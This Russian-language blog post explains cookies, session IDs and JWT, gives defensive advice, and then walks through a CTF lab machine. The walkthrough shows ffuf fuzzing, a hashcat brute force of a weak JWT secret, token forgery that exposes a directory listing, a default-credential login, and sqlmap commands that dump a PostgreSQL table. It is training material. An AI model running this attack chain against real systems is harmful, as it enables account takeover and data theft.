Как сайты помнят тебя и как я через JWT попал в базу PostgreSQL
🍪 Ты заходишь на сайт, логинишься, закрываешь вкладку, открываешь снова — и ты всё ещё внутри. Магия? Нет, просто браузер хранит твой цифровой пропуск. А если этот пропуск сделан криво — кто-то другой войдёт вместо тебя.
В конце статьи покажу, как именно: реальный CTF, реальный взлом через JWT, LFI и SQL-инъекцию в PostgreSQL.
📌 Session ID: цифровой номерок в гардеробе
Представь: пришёл на вечеринку, сдал куртку, получил бумажку с номером. Гардеробщик по номеру знает — куртка твоя. Потерял номерок — и кто-то другой заберёт куртку.
С сайтами то же самое. Когда ты логинишься:
- Вводишь логин/пароль
- Сервер проверяет данные, создаёт сессию с уникальным ID
- Браузеру прилетает кука:
sessionid=abc123 - При каждом следующем запросе браузер шлёт эту куку, сервер проверяет: «А, это Вася, пускай»
Где хранится Session ID? Обычно в памяти сервера или в базе данных (Redis, Memcached).
Проблема: украл злоумышленник этот ID — и он ты. Пока сессия жива.
🔑 JWT: самодостаточный пропуск
JWT (JSON Web Token) — другой подход. Никакого хранилища на сервере: вся информация о пользователе зашита прямо в токен.
Структура:
header.payload.signature
- header — алгоритм шифрования (
HS256,RS256, ...) - payload — данные:
{"user": "James", "role": "admin", "exp": 1700000000} - signature — подпись, которая доказывает, что токен не подделан
Как работает:
- Логинишься → сервер генерирует JWT и отдаёт браузеру (в куке или
localStorage) - При каждом запросе браузер прикладывает токен
- Сервер проверяет подпись, смотрит срок — и достаёт данные из payload
Плюс: не нужно хранить сессии на сервере, легко масштабировать.
Минус: украли токен — он работает до истечения срока. Отозвать досрочно сложно. Ну и если секрет слабый — его можно сбрутить. Об этом ниже 😈
🧨 Чем опасна кража куки или токена
Если злоумышленник получил твой Session ID или JWT:
- Заходит в аккаунт без пароля
- Делает всё от твоего имени: посты, переводы, заказы
- Меняет настройки, сливает данные
- Даже 2FA не всегда спасает — некоторые сайты не требуют её повторно при живой сессии
Как воруют:
- XSS — скрипт на странице читает куки и отправляет хакеру
- Перехват трафика — если HTTP без S, данные летят открытым текстом
- Фишинг — поддельный сайт копирует сессию
- Утечки БД — сессии хранятся на сервере, утекают вместе с паролями
🛡 Как защититься
Для пользователей:
- Проверяй замок HTTPS в адресной строке
- Не кликай на подозрительные ссылки вида «срочно подтверди вход»
- Выходи из аккаунтов на чужих устройствах
- Включай 2FA везде, где есть
Для разработчиков:
HttpOnly— кука недоступна JavaScript (защита от XSS)Secure— кука только по HTTPSSameSite— ограничивает отправку куки с чужих сайтов (защита от CSRF)- Короткое время жизни токена — украли, но через 15 минут уже мусор
- Привязка к IP / User-Agent — резко изменились параметры → переспросить пароль
- Чёрный список токенов — нажал «выйти», токен в стоп-лист
Как посмотреть свои куки:F12 → Application (Chrome) или Storage (Firefox) → Cookies
Видно флаги HttpOnly, Secure, SameSite. Если их нет — сайт написан с ленцой.
🏴 Практика: как я через JWT попал в PostgreSQL
Теперь не теория, а руки в земле. Mашина 10.124.1.239. Цель — внедрение SQL-кода, найти флаг.
Шаг 1. Получаем JWT токен

Открываю сайт — там единственная кнопка: Get Test Token. Нажимаю, и сервер любезно выдаёт JWT прямо в браузере.

Сервер вернул длинную строку вида eyJ0eXAiOiJKV1Qi... — классический Base64-encoded JWT. Запомнили, идём дальше.
Шаг 2. Фаззим директории через ffuf
Токен есть, но непонятно куда его совать. Запускаю ffuf — инструмент для перебора путей на сервере:
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.124.1.239/FUZZ -e .php

Среди результатов — check.php с кодом 200. Открываю его и получаю сообщение: Get param 'jwt' is not set. Намёк понятен — сюда надо передать токен через GET-параметр ?jwt=.

Шаг 3. Брутим секрет JWT через hashcat
Прежде чем менять payload, нужно знать секрет, которым подписан токен — иначе сервер не примет подпись. Запускаю hashcat с режимом -m 16500 (JWT HS256):
hashcat -a 3 -m 16500 jwt ?a?a?a?a?a?a?a?a

Hashcat перебирает все возможные комбинации символов заданной длины. Секрет оказался слабым — 2e025. Именно поэтому короткие и простые секреты в JWT смертельно опасны.
Шаг 4. Декодируем и изучаем payload в jwt.io
Вставляю токен в jwt.io и вижу структуру изнутри:
{
"user": "James",
"dir": "samples",
"key": "qwerty",
"timestamp": 1773760742
}

Поле dir сразу бросается в глаза. Сервер явно использует его, чтобы куда-то смотреть. Вопрос: куда именно и что будет, если подменить значение?
Шаг 5. Меняем payload — пробуем LFI
Знаю секрет 2e025, знаю структуру — пора подделать токен. Меняю dir с "samples" на "/var/www/html" и пересобираю токен с той же подписью:
{
"user": "James",
"dir": "/var/www/html",
"key": "qwerty",
"timestamp": 1773760742
}

Подставляю новый токен в check.php?jwt=... и отправляю запрос.

Шаг 6. Сервер раскрывает содержимое директории
Сервер вернул листинг файлов:
samples composer.json vendor token.php index.html
supersecretadminloginyoullneverguess.php composer.lock .. check.php .

Это классический LFI (Local File Inclusion) — сервер доверяет значению dir из токена и использует его для листинга файловой системы. А мы этим доверием воспользовались.
Среди файлов — supersecretadminloginyoullneverguess.php. Название говорит само за себя. Переходим.
Шаг 7. Находим скрытую админку

Логин-форма. Пробую стандартные admin/admin, admin/password — заходим. Внутри открывается другая форма с заголовком «Check information about user» и пятью полями.

Форма поиска по пользователям. Пять полей, POST-запрос, база данных за ними — это пахнет SQL-инъекцией.
Шаг 8. Перехватываем запрос в Burp Suite
Включаю Burp Suite, перехватываю POST-запрос при отправке формы:
POST /supersecretadminloginyoullneverguess.php HTTP/1.1
Host: 10.124.1.239
...
Cookie: PHPSESSID=ejru24mj3antoafdhqjfq9tlg8
name=1&address=1&phone=1&email=1&plan=1&submit_search=Submit

Сохраняю запрос в файл sql.txt — он понадобится sqlmap.

Шаг 9. Запускаем sqlmap — находим инъекцию
Передаю сохранённый запрос в sqlmap:
sqlmap -r sql.txt --level=2 --risk=2 --batch

sqlmap нашёл уязвимость в параметре phone. Бэкенд — PostgreSQL на Ubuntu 20.04, веб-сервер — Apache 2.4.41. Вся информация как на ладони.
Шаг 10. Изучаем структуру базы
Дамплю структуру таблицы clients_data:
sqlmap -r sql.txt --level=5 --risk=3 --columns -D public -T clients_data --batch --random-agent


Данные клиентов — это уже плохо для сайта, но это не флаг. Ищу дальше.
Шаг 11. Ищем таблицу с флагом
Ищу таблицы с названием, похожим на secret:
sqlmap -r sql.txt -p phone --search -T secret --dbms=postgresql

Есть таблица secret. Дампим:

Database: public
Table: secret
[1 entry]
+----+--------------------------------------+
| id | flag |
+----+--------------------------------------+
| 1 | afdce863-acc5-423d-b240-beed4045e5b1 |
+----+--------------------------------------+
🏁 Флаг получен: afdce863-acc5-423d-b240-beed4045e5b1
🔍 Разбор цепочки атаки
Вот как выглядела вся цепочка:
JWT с открытой раздачей
↓
ffuf: находим check.php
↓
hashcat: брутим секрет "2e025"
↓
jwt.io: декодируем payload, видим поле "dir"
↓
Подменяем dir → "/var/www/html" → переподписываем токен
↓
LFI: сервер листит файловую систему → находим supersecretadmin...php
↓
Логинимся → форма поиска пользователей
↓
Burp Suite: перехватываем POST-запрос
↓
sqlmap: находим SQLi в параметре phone (PostgreSQL)
↓
Дампим таблицу secret → флаг
Каждый шаг использовал одну конкретную ошибку разработчика:
🤔 Итог
Куки, сессии и токены — это цифровые паспорта в интернете. Без них ты бы вводил пароль на каждой странице. Но если паспорт сделан криво — его можно подделать, сбрутить и использовать для входа куда не надо.
Конкретно в этой машине: слабый секрет JWT + доверие пользовательским данным + отсутствие параметризированных запросов = полный доступ к базе данных. Четыре строчки кода могли это всё предотвратить.
Пиши токены правильно. Не доверяй данным из токена без валидации. Параметризуй SQL-запросы. И никогда не называй файлы supersecretadminloginyoullneverguess.php — это не безопасность, это иллюзия безопасности 🙂
P.S
Машина взято с платформы Standoff365-Bootcamp
Название: [web-5] Внедрение SQL-кода (SQLi) на узле tokenizer.edu.stf
Хост: tokenizer.edu.stf 10.124.1.239
Сложность: Низкая
Максимум баллов: 50
Цель по легенде: реализовать SQL-инъекцию и достать флаг из колонки `flag` таблицы `secret`.
Что и было сделано 🙂
Больше практики — в Академии Кракен (Kraken Academy).
Подписывайся на наш Telegram-канал.